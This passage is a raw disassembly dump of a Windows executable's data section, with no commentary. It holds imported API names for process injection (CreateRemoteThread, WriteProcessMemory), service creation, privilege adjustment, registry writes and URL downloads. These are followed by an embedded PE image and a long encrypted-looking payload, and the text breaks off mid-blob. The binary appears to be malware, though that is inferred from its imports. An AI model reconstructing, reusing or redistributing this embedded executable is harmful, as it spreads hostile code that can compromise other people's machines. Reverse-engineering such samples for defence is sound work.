dword_411EBC dd 71AD1020h ; DATA XREF: sub_406CFCr sub_447C7Dr dword_411EC0 dd 71AB1AF4h ; DATA XREF: sub_406D02r sub_447C83r dword_411EC4 dd 71AB12F8h ; DATA XREF: sub_406D08r sub_447C89r dword_411EC8 dd 71AB2BBFh ; DATA XREF: sub_406D0Er sub_447C8Fr dword_411ECC dd 71AB157Eh ; DATA XREF: sub_406D14r sub_447C95r dword_411ED0 dd 71AB32CAh ; DATA XREF: sub_406D1Ar sub_447C9Br dword_411ED4 dd 71AB401Ch ; DATA XREF: sub_406D20r sub_447CA1r dword_411ED8 dd 71AB1ED3h ; DATA XREF: sub_406D26r sub_447CA7r dword_411EDC dd 71AD2E5Fh ; DATA XREF: sub_406D2Cr sub_447CADr dword_411EE0 dd 71AB1740h ; DATA XREF: sub_406D32r sub_447CB3r align 8 dword_411EE8 dd 76D67CDBh ; DATA XREF: sub_406D38r sub_447CB9r align 10h dword_411EF0 dd 7620AFB6h ; DATA XREF: sub_403838+19r ; sub_4447B9+19r dword_411EF4 dd 76214750h ; DATA XREF: sub_403838+48r ; sub_4447B9+48r dword_411EF8 dd 76204E4Dh ; DATA XREF: sub_403838+62r ; sub_403838+94r ... dword_411EFC dd 7620BD61h ; DATA XREF: sub_403838+F1r ; sub_4447B9+F1r dd 0 dd 65470000h, 63695474h, 756F436Bh, 746Eh, 6E490000h, 61697469h dd 657A696Ch, 74697243h, 6C616369h, 74636553h, 6E6F69h dd 6E450000h, 43726574h, 69746972h, 536C6163h, 69746365h dd 6E6Fh, 654C0000h, 43657661h, 69746972h, 536C6163h, 69746365h dd 6E6Fh, 65470000h, 64745374h, 646E6148h, 656Ch, 65470000h dd 636F4C74h, 69546C61h, 656Dh, 65470000h, 646F4D74h, 46656C75h dd 4E656C69h, 41656D61h, 0 aLocalalloc db 'LocalAlloc',0 align 4 dd 72430000h, 65746165h, 656C6946h, 7070614Dh, 41676E69h dd 0 aGetlasterror_0 db 'GetLastError',0 align 4 aMapviewoffile db 'MapViewOfFile',0 align 4 aUnmapviewoffil db 'UnmapViewOfFile',0 dd 704F0000h, 69466E65h, 614D656Ch, 6E697070h, 4167h, 6C430000h dd 4865736Fh, 6C646E61h, 65h, 706D6F43h, 53657261h, 6E697274h dd 4167h, 6C530000h, 706565h, 6E490000h, 6C726574h, 656B636Fh dd 63784564h, 676E6168h, 65h, 61657243h, 754D6574h, 41786574h dd 0 aOpenmutexa db 'OpenMutexA',0 align 4 dd 72430000h, 65746165h, 636F7250h, 41737365h, 0 aSetlasterror db 'SetLastError',0 align 10h aDeletefilea db 'DeleteFileA',0 dd 65470000h, 6D655474h, 74615070h, 4168h, 65470000h, 6D655474h dd 6C694670h, 6D614E65h, 4165h, 6F430000h, 69467970h, 41656Ch dd 65530000h, 6C694674h, 74744165h, 75626972h, 41736574h dd 0 aInterlockedexc db 'InterlockedExchangeAdd',0 align 4 dd 78450000h, 72507469h, 7365636Fh, 73h, 74696157h, 53726F46h dd 6C676E69h, 6A624F65h, 746365h, 736C0000h, 6D637274h dd 416970h, 736C0000h, 70637274h, 416E79h, 72430000h, 65746165h dd 6E657645h, 4174h, 65530000h, 65764574h, 746Eh, 61570000h dd 6F467469h, 6C754D72h, 6C706974h, 6A624F65h, 73746365h dd 0 aGetfileattribu db 'GetFileAttributesA',0 align 4 dd 65520000h, 45746573h, 746E6576h, 0 aFindresourcea db 'FindResourceA',0 align 4 aSizeofresource db 'SizeofResource',0 align 4 dd 6F4C0000h, 65526461h, 72756F73h, 6563h, 6F4C0000h, 65526B63h dd 72756F73h, 6563h, 65470000h, 72754374h, 746E6572h, 636F7250h dd 737365h, 69560000h, 61757472h, 6C6C416Ch, 7845636Fh dd 0 aGetmodulehandl db 'GetModuleHandleA',0 align 10h aGetprocaddress db 'GetProcAddress',0 align 10h dd 72570000h, 50657469h, 65636F72h, 654D7373h, 79726F6Dh dd 0 aCreateremoteth db 'CreateRemoteThread',0 align 4 dd 704F0000h, 72506E65h, 7365636Fh, 73h, 45746547h, 43746978h dd 5465646Fh, 61657268h, 64h, 61657243h, 6F546574h, 65686C6Fh dd 3233706Ch, 70616E53h, 746F6873h, 0 aProcess32first db 'Process32First',0 align 4 dd 72500000h, 7365636Fh, 4E323373h, 747865h, 65470000h dd 6D6F4374h, 646E616Dh, 656E694Ch, 454B0041h, 4C454E52h dd 642E3233h, 6C6Ch, 65520000h, 65724367h, 4B657461h, 78457965h dd 41h, 53676552h, 61567465h, 4565756Ch, 4178h, 65520000h dd 6F6C4367h, 654B6573h, 79h, 4F676552h, 4B6E6570h, 78457965h dd 41h, 44676552h, 74656C65h, 79654B65h, 41h, 74696E49h dd 696C6169h, 6553657Ah, 69727563h, 65447974h, 69726373h dd 726F7470h, 0 aSetsecuritydes db 'SetSecurityDescriptorDacl',0 align 4 aGetusernamea db 'GetUserNameA',0 align 4 aOpenscmanagera db 'OpenSCManagerA',0 align 4 dd 704F0000h, 65536E65h, 63697672h, 4165h, 6C430000h, 5365736Fh dd 69767265h, 61486563h, 656C646Eh, 0 aQueryservicest db 'QueryServiceStatus',0 align 4 dd 68430000h, 65676E61h, 76726553h, 43656369h, 69666E6Fh dd 4167h, 68430000h, 65676E61h, 76726553h, 43656369h, 69666E6Fh dd 413267h, 74530000h, 53747261h, 69767265h, 416563h, 72430000h dd 65746165h, 76726553h, 41656369h, 0 aDeleteservice db 'DeleteService',0 align 4 aRegqueryvaluee db 'RegQueryValueExA',0 align 10h aSetservicest_2 db 'SetServiceStatus',0 align 4 aRegisterserv_0 db 'RegisterServiceCtrlHandlerA',0 dd 74530000h, 53747261h, 69767265h, 74436563h, 69446C72h dd 74617073h, 72656863h, 41h, 6B6F6F4Ch, 72507075h, 6C697669h dd 56656765h, 65756C61h, 41h, 6E65704Fh, 636F7250h, 54737365h dd 6E656B6Fh, 0 aAdjusttokenpri db 'AdjustTokenPrivileges',0 aAdvapi32_dll db 'ADVAPI32.dll',0 align 10h aS_1: unicode 0, <s>,0 aT: unicode 0, <t>,0 dd 17h, 15h, 3, 12h, 0Ch, 9, 4, 2, 0Dh, 1, 0Fh, 10h, 13h dd 0Ah, 34h, 6, 39h, 0Bh, 14h, 11h, 6Fh, 434F5357h, 2E32334Bh dd 6C6C64h, 65470000h, 46704974h, 6177726Fh, 61546472h dd 656C62h, 6C687069h, 69706170h, 6C6C642Eh, 0 aInternetopena db 'InternetOpenA',0 align 4 aInternetopen_0 db 'InternetOpenUrlA',0 align 10h aInternetcloseh db 'InternetCloseHandle',0 dd 6E490000h, 6E726574h, 65527465h, 69466461h, 656Ch, 494E4957h dd 2E54454Eh, 6C6C64h, 72570000h, 43657469h, 6F736E6Fh dd 41656Ch, 6C540000h, 74655373h, 756C6156h, 65h, 61657243h dd 68546574h, 64616572h, 0 aResumethread db 'ResumeThread',0 align 4 aExitthread_0 db 'ExitThread',0 align 10h dd 65470000h, 61745374h, 70757472h, 6F666E49h, 41h, 556C7452h dd 6E69776Eh, 64h, 70616548h, 61657243h, 6574h, 65480000h dd 65447061h, 6F727473h, 79h, 70616548h, 6F6C6C41h, 63h dd 70616548h, 6C416552h, 636F6Ch, 65480000h, 72467061h dd 6565h, 65480000h, 69537061h, 657Ah, 65480000h, 61567061h dd 6164696Ch, 6574h, 65440000h, 6574656Ch, 74697243h, 6C616369h dd 74636553h, 6E6F69h, 72430000h, 65746165h, 656C6946h dd 41h, 41736C54h, 636F6C6Ch, 0 aGetcurrentthre db 'GetCurrentThreadId',0 align 4 dd 6C540000h, 65724673h, 65h, 47736C54h, 61567465h, 65756Ch dd 6E550000h, 646E6168h, 4564656Ch, 70656378h, 6E6F6974h dd 746C6946h, 7265h, 65470000h, 73795374h, 546D6574h, 41656D69h dd 6C694673h, 6D695465h, 65h, 46746547h, 54656C69h, 657079h dd 75440000h, 63696C70h, 48657461h, 6C646E61h, 65h, 48746553h dd 6C646E61h, 756F4365h, 746Eh, 65470000h, 766E4574h, 6E6F7269h dd 746E656Dh, 69727453h, 73676Eh, 72460000h, 6E456565h dd 6F726976h, 6E656D6Eh, 72745374h, 73676E69h, 41h, 74726956h dd 416C6175h, 636F6C6Ch, 0 aVirtualquery db 'VirtualQuery',0 align 4 aWritefile db 'WriteFile',0 align 4 aSetstdhandle db 'SetStdHandle',0 align 4 aSetconsolectrl db 'SetConsoleCtrlHandler',0 align 4 aSetfilepointer db 'SetFilePointer',0 align 4 dd 65520000h, 69466461h, 656Ch, 65530000h, 646E4574h, 6946664Fh dd 656Ch dword_4127E8 dd 960000h ; DATA XREF: sub_407BD0+44r ; sub_407BD0+51r ... dword_4127EC dd 0 ; DATA XREF: sub_407BD0:loc_407C0Fr ; sub_407BD0+57r ... dword_4127F0 dd 3F0000h ; DATA XREF: sub_4085B0+Fw ; DMN0:004085D0r ... dword_4127F4 dd 14CF88h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: DMN0:off_41121Co dword_41280C dd 14CF60h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: DMN0:off_411218o dword_412824 dd 14CF38h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: DMN0:off_411214o dword_41283C dd 14CF10h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: DMN0:off_411210o dword_412854 dd 63F46024h ; DATA XREF: sub_409240o ; DMN0:00409267r ... dword_412858 dd 1C811B1h ; DATA XREF: DMN0:0040926Dr ; DMN1:0044A1EEr dword_41285C dd 14C530h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_40103Co ; sub_401048+4o ... dword_412874 dd 14C580h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_401097o ; DMN0:004010D2o ... dword_41288C dd 14C558h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_401165o ; DMN0:004011DEo ... dword_4128A4 dd 3F2318h ; DATA XREF: sub_40122A+18r ; sub_40122A+41w ... dword_4128A8 dd 0 ; DATA XREF: sub_4066F1+63r ; sub_4066F1+268r ... dword_4128AC dd 0 ; DATA XREF: sub_4066F1+DAr ; sub_4066F1+F5r ... dword_4128B0 dd 0 ; DATA XREF: sub_4066F1+D4r ; sub_4066F1+10Dr ... dd 1Dh dup(0) dword_412928 dd 3 dup(0) ; DATA XREF: sub_4023DC+15o ; sub_44335D+15o dword_412934 dd 9503F8h ; DATA XREF: sub_403B86+1Cr ; sub_403B86+3Dr ... dword_412938 dd 0 ; DATA XREF: DMN0:0040598Fo ; DMN0:loc_4059A2o ... dword_41293C dd 0 ; DATA XREF: DMN0:loc_405985w ; DMN0:loc_4059B5w ... dword_412940 dd 0 ; DATA XREF: DMN0:00405A3Bw ; DMN1:004469BCw align 10h dword_412950 dd 0 ; DATA XREF: DMN0:00405A42w ; DMN1:004469C3w dword_412954 dd 0 ; DATA XREF: DMN0:00405994r ; DMN0:004059A7r ... off_412958 dd offset aNts ; DATA XREF: DMN0:004059EBr ; sub_405AC9:loc_405AD7r ... ; "NTS" dword_41295C dd 0 ; DATA XREF: sub_405AC9+13w ; sub_405AC9+30o ... dword_412960 dd 0 ; DATA XREF: sub_405AC9+18w ; sub_446A4A+18w dword_412964 dd 0 ; DATA XREF: sub_405AC9+22w ; sub_446A4A+22w dword_412968 dd 0 ; DATA XREF: sub_405AC9+29w ; sub_446A4A+29w dword_41296C dd 0 ; DATA XREF: sub_405C80+Br ; sub_405C80+5Fr ... dword_412970 dd 400h dup(0) ; DATA XREF: sub_405EFE+1Bo ; sub_405EFE+31o ... dword_413970 dd 14C5A8h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_4066F1+2Fo ; sub_447672+2Fo dword_413988 dd 3F1E90h ; DATA XREF: sub_408D80+6Fr ; sub_408E20+1Br ... dd 3Fh dup(0) dword_413A88 dd 20h ; DATA XREF: sub_408E20+6r ; sub_4092A0+28w ... dd 15Eh dup(0) dd 470501C8h, 0 dd 10000h, 0Ah, 80000018h, 0 dd 470501C8h, 0 dd 10000h, 1F41h, 80000030h, 0 dd 470501C8h, 0 dd 10000h, 419h, 48h, 14058h, 16078h, 2 dup(0) dd 505A4Dh, 2, 0F0004h, 0FFFFh, 0B8h, 0 dd 1A0040h, 8 dup(0) dd 100h, 0E0010BAh, 0CD09B41Fh, 4C01B821h, 909021CDh, 73696854h dd 6F727020h, 6D617267h, 73756D20h, 65622074h, 6E757220h dd 646E7520h, 57207265h, 32336E69h, 37240A0Dh, 22h dup(0) dd 4550h, 3014Ch, 3 dup(0) dd 0A18E00E0h, 10Bh, 3 dup(0) dd 46B7Ah, 1000h, 0 dd 10000000h, 1000h, 200h, 2 dup(0) dd 4, 0 dd 48000h, 400h, 0 dd 2, 100000h, 1000h, 100000h, 1000h, 0 dd 10h, 2 dup(0) dd 47038h, 28h, 6 dup(0) dd 47060h, 10h, 14h dup(0) aDmn0 db 'DMN0',0 align 4 dd 30000h, 1000h, 5 dup(0) dd 0C0000060h, 314E4D44h, 0 dd 15BA3h, 31000h, 15C00h, 400h, 3 dup(0) dd 0E0000060h, 324E4D44h, 0 dd 78h, 47000h, 78h, 16000h, 3 dup(0) dd 0C0000060h, 64h dup(0) dd 0B7BFFC18h, 6788BDFFh, 55E9BFD2h, 6A71A8A0h, 884E30D4h dd 29F278A2h, 736ECE38h, 4CCBC432h, 0EFA05EEEh, 558DC417h dd 8B943DF8h, 0F1D3572Ah, 12DEFDBFh, 0DC4EA7D3h, 826C1442h dd 0D0CCCBD2h, 0E55DA14Ch, 6E187289h, 669A1B58h, 75B96CF7h dd 8112F23Fh, 9CC13EF6h, 5FB1509Bh, 0C25513FDh, 0A78C1B8Ch dd 0C7D0A3B6h, 68341060h, 3F51A42Fh, 0E0D5F10Dh, 91F4B323h dd 6B727AEBh, 60F4F7DDh, 66205971h, 32F0CDABh, 782A9A09h dd 3A8AC84Ch, 0C920B3B0h, 96B48D58h, 7A6C6E31h, 0C6C0CF16h dd 7ABE8FE7h, 0FA180CD8h, 7C919C4Ch, 3983D856h, 912772C4h dd 868BD592h, 41A91172h, 2395A4EFh, 0E6FF569Bh, 0FC815296h dd 0C7C700A2h, 0BE308038h, 0D4397D0h, 1CFF015Dh, 0EF8C54B8h dd 936D8E27h, 0C6EF36BDh, 0DB97E071h, 760D3326h, 345FBC48h dd 27250AEDh, 4E72E42Dh, 0BD74EA6Ah, 0D632BA98h, 6ADF8A74h dd 7320CD81h, 0F84648FAh, 546054AAh, 109A5BDBh, 8E93FC4Bh dd 238FFB31h, 247069B9h, 0F1049E9Eh, 7CA9B1FDh, 4905C6C3h dd 8BDBA6Ch, 0BDB565A9h, 0E5E00923h, 9BF14D1Eh, 17E0D9B7h dd 6235E740h, 0C2D17446h, 0AB135ADCh, 9C41CC01h, 0F2597DCCh dd 0BB39F56h, 0CED279D7h, 0B30962E9h, 98B1A635h, 77F7CBFCh dd 0B6C6E3A4h, 7BC3354Ch, 0F6C35CDAh, 901AE82Fh, 275ECEFCh dd 121C495Fh, 0CEDE73ABh, 43AE9FD6h, 1B99B798h, 0E81C2040h dd 0FE776FBFh, 24AEE9FEh, 5DB5FC33h, 9925A1Ah, 5804FEA5h dd 88839EF5h, 7702B887h, 0FDED2D3Eh, 0C22A602Ch, 0ED7FD7D8h dd 0EAAC5160h, 64C980F8h, 0A6A39077h, 76831C40h, 4DC21C0Bh dd 0A346231Fh, 51A0614Ah, 0B46DFFB8h, 31DB6214h, 16CA4B18h dd 83D3C79Ch, 0FD572705h, 8420BF0Ah, 61732923h, 63196A89h dd 8D718092h, 1E5048DEh, 48FD2AC2h, 46B6FDD3h, 3CE08C12h dd 92C20696h, 35FFED0h, 9D51477Ch, 524833D3h, 0D379345Ch dd 57311698h, 0D0F16AB0h, 0D0039AB9h, 7BF566CBh, 0A08C235Fh dd 0AC0906ABh, 35E453ABh, 666753C2h, 0CAC7E9DEh, 5E668094h dd 0C96CDC07h, 31D9DC07h, 0E63B810Dh, 37CC8C4Fh, 2073A33Fh dd 63C3E8B3h, 28FF4FB0h, 0B41FF0B4h, 693F17Ah, 48F13301h dd 0DAED8B5Eh, 4D4C41FBh, 0EFA76D49h, 9B2647ABh, 0E8DFEA42h dd 817D8099h, 0F7FFBE69h, 0CFEA955Fh, 0B4FF07B6h, 0C9D54B23h dd 1BD514AFh, 5FDEA426h, 9F85568Ah, 0A3BAFE37h, 0D896FC55h dd 1183CE97h, 14E90C51h, 71C85122h, 5ED9722Eh, 714F5735h dd 0A8DB11Ah, 0AD7248FCh, 1B0A1383h, 5181E7D2h, 17C90379h dd 350E2733h, 9BC39728h, 5267A44Ch, 63CAC3F4h, 0E9348AD4h dd 73C04C70h, 84C52D3Eh, 7656317Ah, 1429D5BEh, 8AB657h dd 0AB8D4234h, 5EF4851Bh, 4A813E12h, 0E51D7E18h, 0B6515A5h dd 0A3CF4C13h, 0FF66FF76h, 62B266B3h, 0A3744FC0h, 0B3816941h dd 8CC8CC18h, 31494D9Ch, 8519C6D8h, 91E92608h, 0B217D843h dd 0AAB053C1h, 0CCF20C42h, 7FACA58h, 9FEC647Bh, 0BD3234C9h dd 0F3F74C9Ah, 0ADB19BF5h, 6E7B3244h, 0AD6DD19Ah, 4DF8540Ch dd 0D8054CF2h, 0FA52AAF9h, 6851E75Bh, 66539189h, 6D7566F0h dd 2B84CAF3h, 0EF973FD5h, 0B85E376Bh, 1002EBAh, 7FC78F4h dd 63B7FAEFh, 0D8293BC4h, 0E62B3B2Eh, 52B07970h, 6A7EC133h dd 64A6A050h, 0CC2E27E2h, 0E783EDA6h, 663A1335h, 0D23C4C2Ch dd 0A3A862A3h, 36F29AA1h, 90D24B64h, 77DEBD2Eh, 6498D7E8h dd 7774D38Fh, 5862094Ch, 0E4EF14BAh, 0AAA0B125h, 0AF1A1798h dd 314E9946h, 0B0DACE44h, 8F878C0Ch, 0BA151C91h, 0FB13FE48h dd 0B02756h, 817BA480h, 0A68B194Eh, 0A8762D8Dh, 8BC29B73h dd 0A26C0308h, 0C1F90932h, 0B3D6FD69h, 0D143F09Bh, 7548A1BEh dd 0B1226391h, 0FC1245BFh, 0D3E68400h, 0A05E02F8h, 344A3995h dd 3AB9621Eh, 2BA1EA39h, 0C7E6C415h, 2AE1DFD7h, 98CA0682h dd 0E0F9F9E9h, 1A71BCB4h, 0A20ACD76h, 9B88CE6Fh, 0C042EAA7h dd 0C5A5A518h, 6E998518h, 0FA7C187Dh, 835BD642h, 0E19EE48Ch dd 0E5C20BC7h, 0DC5B04C7h, 0E652D1Dh, 0B8C5E51Ch, 763B47B8h dd 1D517B53h, 38E24941h, 60498145h, 1277518Ch, 83DC0D72h dd 198D2EFDh, 0B54305D9h, 5033746Ch, 3C3496D0h, 6D7BA0FBh dd 40657A7Dh, 69DD1870h, 6CFC0BD4h, 30A8C676h, 49D46FB7h dd 3C1EE77Eh, 2153673Ch, 2756322Fh, 9BA479A3h, 7754451Bh dd 483F1601h, 0B625A629h, 0D11F72EBh, 0C5A1D2EFh, 8B47D49Bh dd 5A421EE1h, 8F5B745Fh, 0BF798C05h, 0EA9DE6EFh, 0B31BB7CAh dd 6E902CECh, 9BEE843Fh, 343CDEAEh, 0B1396717h, 9FA1B84Ah dd 408CF1F3h, 6E243D86h, 0DD9F6A98h, 0D31BC65Ah, 0F40005E6h dd 4CD63E81h, 0A3385A08h, 8183C2B9h, 96A7589Eh, 0CF7EA66Bh dd 0F09FAADAh, 1F571B6Bh, 53F7B17Bh, 30036F3Dh, 73573BF7h dd 0CD840A79h, 6379691Eh, 3766C2BFh, 0D8B45162h, 6C7D2D53h dd 0F65C556Ch, 3BA25DCDh, 0DBDDB775h, 0F633037Dh, 5A114CBEh dd 3ADEAAFEh, 5945EE7Eh, 218B92C2h, 0C6093441h, 0E6AC42CCh dd 802CA96h, 504B06A1h, 2A1CAD43h, 8BF4EC47h, 0A9F195B2h dd 9CD2A400h, 0D13F2F43h, 0FAB249Eh, 0BF7F6F2h, 0BCBE5083h dd 0B1C9AF6Ah, 8D036FA4h, 0AB200767h, 0EB6EA603h, 91B7F33Ch dd 0C2E22E99h, 0D0FAD834h, 19CF8F33h, 29CA9140h, 694A35EFh dd 49C713D3h, 0ECC9AD36h, 3B7FAE7Ch, 9F19DE55h, 376AFF0Ch dd 40FA8718h, 167F33B8h, 58704020h, 9B0993EEh, 1A0CBEC4h dd 9E070C80h, 0DB4A60E0h, 8A560242h, 0FDC1990Ah, 95D4C191h dd 0D5DDCAA5h, 0E4BEB398h, 0F505599h, 1688E8E1h, 9EE19078h dd 8EBA6F5Ch, 3FE9C89Ch, 4B94F89Dh, 384473DFh, 863E2E66h dd 0B0863A30h, 0CD7082F2h, 59505EB0h, 49896F13h, 6F5D539Ah dd 22E41FE1h, 6E5C5076h, 855CAAD9h, 38D8C95Eh, 0A16D7A84h dd 7059336Eh, 0AF284581h, 4D500C24h, 1A0A0E0Eh, 0ED7D4315h dd 0E49367F8h, 0B7708170h, 0D3B7F6D3h, 6B4B423h, 0A2A105AAh dd 7477096Ch, 6B117705h, 0B5FA4F6Bh, 0C3010D68h, 7B4D1614h dd 0A0B442Fh, 80E05BA4h, 0B7497BE4h, 5DA9C91Ah, 691E2CC3h dd 0B84805A2h, 0EA679550h, 52054BF5h, 98BC0587h, 0F463A75Ch dd 73CA388h, 7A6B857Ch, 15B5B3FEh, 6166009Dh, 215BC296h dd 8039990Ah, 71CD74F3h, 5A113C28h, 38774943h, 0C57887A0h dd 3C6CAC81h, 860FBF50h, 2BC9F4D7h, 3F859245h, 368B40DEh dd 7176D49Ch, 96D6A430h, 26E4CACDh, 0CE27B086h, 2D79FC2Fh dd 619E8D24h, 10491397h, 0EB928543h, 680A40A2h, 73D0C21h dd 0F242C63Ch, 136DAD3Bh, 70A6033Eh, 0A0C1AC6Ch, 82D14D7Eh dd 0CB475A96h, 8E98B93Ah, 0EF444B6Ch, 1D926CCAh, 61D55D8Dh dd 0BCE10BD8h, 0C27B3DEEh, 0A1D5BBABh, 778864B9h, 9099CFAh dd 0F2C2456Bh, 0F422B124h, 2119DCA8h, 0F97D543Ch, 6814C75Eh dd 0FDD74E04h, 0D20C4FE3h, 0E067E0EFh, 23403C06h, 5AE30775h dd 0F27C385h, 1E4D3A63h, 0DB17C0FAh, 7DCC879Eh, 0BEC2C516h dd 17BA8683h, 675C7B0Eh, 0D1103100h, 569AF0DAh, 0D048873Fh dd 71A38CB4h, 0DFEC2259h, 902B1DA0h, 31547F2Bh, 3BCB486h dd 24875EB3h, 1C0233B2h, 0CAB96C14h, 0E682659Fh, 3B1FADF0h dd 88F7973Ch, 0C5E116EEh, 0C2354125h, 0B4155AFEh, 0DA9DE93Bh dd 34561891h, 0EC1F4E9Eh, 0C74C6CD5h, 0A6743A11h, 0EE21D2E3h dd 49C87E15h, 0C3720F1h dd 5B97885h, 0AEB95D33h, 8C970403h, 660649B1h, 1D9121F2h dd 73E8C87Dh, 2AA7F08Dh, 0B3649E7h, 8A2F76CDh, 361803E5h dd 0D83D29CFh, 979774BAh, 0C7624237h, 28B2EA4Ch, 0BBC50F49h dd 0F497D395h, 787BC27Ah, 0A9890AA8h, 0F30A5025h, 88BC5D98h dd 0A872CC0h, 4E9E8E1Eh, 5453D163h, 57E5299Fh, 0DD83F4DDh dd 4DAA1140h, 0E1ECE8BCh, 9AAA8AE4h, 39EE6B3Ah, 0DD0347D4h dd 8F35889Eh, 0B276E897h, 0B77307A7h, 751AF517h, 0CCA28559h dd 29572E69h, 0DD149141h, 615D73Ch, 444F8AA7h, 3C635E1Bh dd 8EFC4BE6h, 421A4814h, 0CF95B540h, 1CD9C434h, 5628F865h dd 0B6E8AD8Bh, 3633013Dh, 67D7213Ch, 4F39E53Fh, 31BC5C18h dd 748E9603h, 0EA46C07Ah, 5BDFEA13h, 7FEA5A83h, 83E4B307h dd 3D7D745Ah, 5DF93353h, 0DA073AE1h, 3A01FB53h, 0F56F20FAh dd 6F84BA2h, 0D4014A27h, 9F64E88h, 0D0C33493h, 0F7D7745h dd 44968F47h, 0C640BCDFh, 0CB109893h, 0B401475h, 603946F4h dd 6DE1F69Eh, 0E222ED8h, 0DB2AB36Ch, 5AEE7D79h, 0B5B49E5Bh dd 97E75223h, 90438ED9h, 4FB9D965h, 405B3782h, 0BB4DB590h dd 11B84661h, 1D673E94h, 1C1820CAh, 0A89087BEh, 2220AFCh dd 0BE7B9713h, 0AB9B8B04h, 18674BD4h, 0A12FE7B4h, 512B4580h dd 8047C7F4h, 99CE2AD2h, 0E1564E19h, 0DEBBA65h, 0F371033Dh dd 0D5E873C1h, 513E6BC1h, 65E06E95h, 6ADA8727h, 5021B60Ah dd 2C6CA55Bh, 992FDD0Dh, 97E54693h, 7AD92E41h, 57C84F1Dh dd 572DEA38h, 0B4315DA5h, 65561E52h, 0FD2A8DBCh, 0D6A0F94Fh dd 0D3E4EFBDh, 507BE49Bh, 1C334928h, 42D59189h, 4459F30Eh dd 7A43A6Dh, 0AF9379D3h, 59FD613Ch, 0C21BB97Fh, 5214AF9h dd 0AFF508Eh, 0ABC6BFF4h, 409ADB77h, 8FFA718Dh, 0D28885A0h dd 1AFB2D87h, 88C02608h, 8027FC25h, 69F6AD41h, 0D0C98DADh dd 4A85E736h, 8EE04E8Ah, 69697B06h, 0F450B197h, 7B1D4C70h dd 0E64A7595h, 0E29A5973h, 16E7E14Ch, 0AA2C72C1h, 0E1B0408Dh dd 0E6BBF22Dh, 6E81612Ch, 39225702h, 8C54CAA1h, 4CBCF4D0h dd 281D4294h, 66446E88h, 4588AEAh, 4B784464h, 51CCC03Fh dd 3C0F0B08h, 0E65E7BB1h, 0DB5BA785h, 8B5BCE57h, 59FF1F28h dd 4F31CCD6h, 0AA33018Ch, 2FA75816h, 0D1150B3Ch, 6CA91245h dd 0B2D1BBABh, 5E7BD6A3h, 7C40B163h, 0BC7DCB2Ch, 0CE8F7948h dd 8D9D837Bh, 2221EDBh, 94DFAB3h, 59D930C8h, 0EC694F9Eh dd 6A588F72h, 0AF10B868h, 225AA0F5h, 5A5272CCh, 0E0A629D5h dd 0FE617100h, 7E461B53h, 5734497Ah, 0CC74CED9h, 3F19B5E5h dd 56DB0AE1h, 95FFCE0Bh, 0D5DB2FD5h, 0DC3DEEA4h, 5754384Ah dd 9C7E48Ch, 76FFF80Ah, 5E38EB7Fh, 2C8F2A67h, 8D900376h dd 0D99AEB3Dh, 3176A5CEh, 0A8641808h, 0A0D183A6h, 0AEDA5817h dd 9E2E38FCh, 16477021h, 996E70BDh, 0C123945Ah, 4769875Fh dd 0E024BECh, 6419D600h, 64C0443Ch, 1F7B69AAh, 37A80153h dd 9DC93A17h, 0CCEA7D0Fh, 4CAD2C12h, 0ADFC033Dh, 42DA8AF4h dd 0F8577AA9h, 0F2952653h, 43E1A17h, 0BC73C71Ch, 3A9D7F05h dd 0ABF4F797h, 7711DAFEh, 351DFF08h, 24DBF000h, 0D31AE0DBh dd 0AAECA0ECh, 1C6D6136h, 90AA5F77h, 6970E32Bh, 0C3E8FDAFh dd 63AD3AADh, 792BF731h, 8412138h, 631D22A6h, 0F39AF979h dd 0AF5C2696h, 8545430Bh, 0CF04C0F9h, 0A60CFEBEh, 6B69326Ah dd 0CDA271C2h, 0FBC17410h, 76067C35h, 0D30EC7F8h, 6D75D3F5h dd 0A24C0963h, 740E3A62h, 228FA549h, 0D58DFA28h, 6006E12Eh dd 0A589D70Fh, 51F6BA3Bh, 5318FDBEh, 0B13BEB2Eh, 0EA37234Bh dd 0B37BDEECh, 0FD8C1608h, 5DA4AD0Ch, 79D0CC7Ch, 2B11E8C0h dd 0CDBE7740h, 1C455EBh, 117AB8h, 0B731AF37h, 111C6865h dd 9E963839h, 0E6C036B7h, 95C1560Ah, 2E7ECCFBh, 48E1D94Fh dd 0A6166428h, 1EC68D35h, 8C0BC557h, 0BE39E767h, 0DA8CEBE6h dd 0AF5B1168h, 0BBB4FADEh, 484C403Ah, 5C8C4FAEh, 6C7E0A6h dd 85FFA167h, 930C4556h, 1484B661h, 32C4F70Bh, 9A80B254h dd 26C43DC3h, 0FE5D1B07h, 976014E5h, 0DF1330DFh, 0D5EEB2E7h dd 2ABC12D0h, 66F56ED1h, 0E6018805h, 0A29E1EB1h, 84371E5Ch dd 1072127Ah, 0D4F63B83h, 0D680D493h, 7FE7E0ABh, 0F6A53D8Eh dd 328514F2h, 26236221h, 690C6626h, 1DC96BAEh, 4270063h dd 5791B6h, 0EAB53274h, 0BE14D55Fh, 0A6FF01C0h, 0E02EC2B1h dd 62983C64h, 0CC33CFB4h, 0DB13B2B3h, 4DB50B6Bh, 990B239Fh dd 488731Fh, 0B727C11Ah, 6CB22283h, 0D0A8BD01h, 0AF9A2AA7h dd 0ADEC21EAh, 32D7E5DAh, 0E2FC0E86h, 30DD68ADh, 765EA4EAh dd 0F1B9B57Eh, 0D2FF4796h, 0F557431Ch, 0DCB091D9h, 3F38EB72h dd 0A572A88Bh, 8AEC86Ch, 0D267FDF3h, 0C9BE4A1Bh, 0E2557B04h dd 9EA3119Bh, 0C9ED80B4h, 0CC0DED02h, 368BC3A7h, 2E90535Ch dd 0DEEFB72Eh, 8A834DF2h, 197E1928h, 0D601F1Ch, 45278EDBh dd 0A90598h, 67ACBE4Bh, 41C4B220h, 5716B418h, 7252D7B6h dd 6FFFBFE0h, 0FFCBDFE0h, 0CE879EAh, 9F1678EAh, 0CA753FBCh dd 0B1B8FC1Ah, 0D51634E9h, 0D436ECDFh, 18D6FA52h, 90B737D0h dd 8E8C1421h, 0B35F4EB2h, 5C769B9Ah, 44F1DA9Bh, 0B2FB273Ch dd 0B0D64628h, 0B4BDD0F4h, 78725112h, 0D085F2B1h, 81A2AAC8h dd 9A4282C5h, 1F7FF34h, 0B55D9F6Bh, 0D24D39EDh, 9B62C342h dd 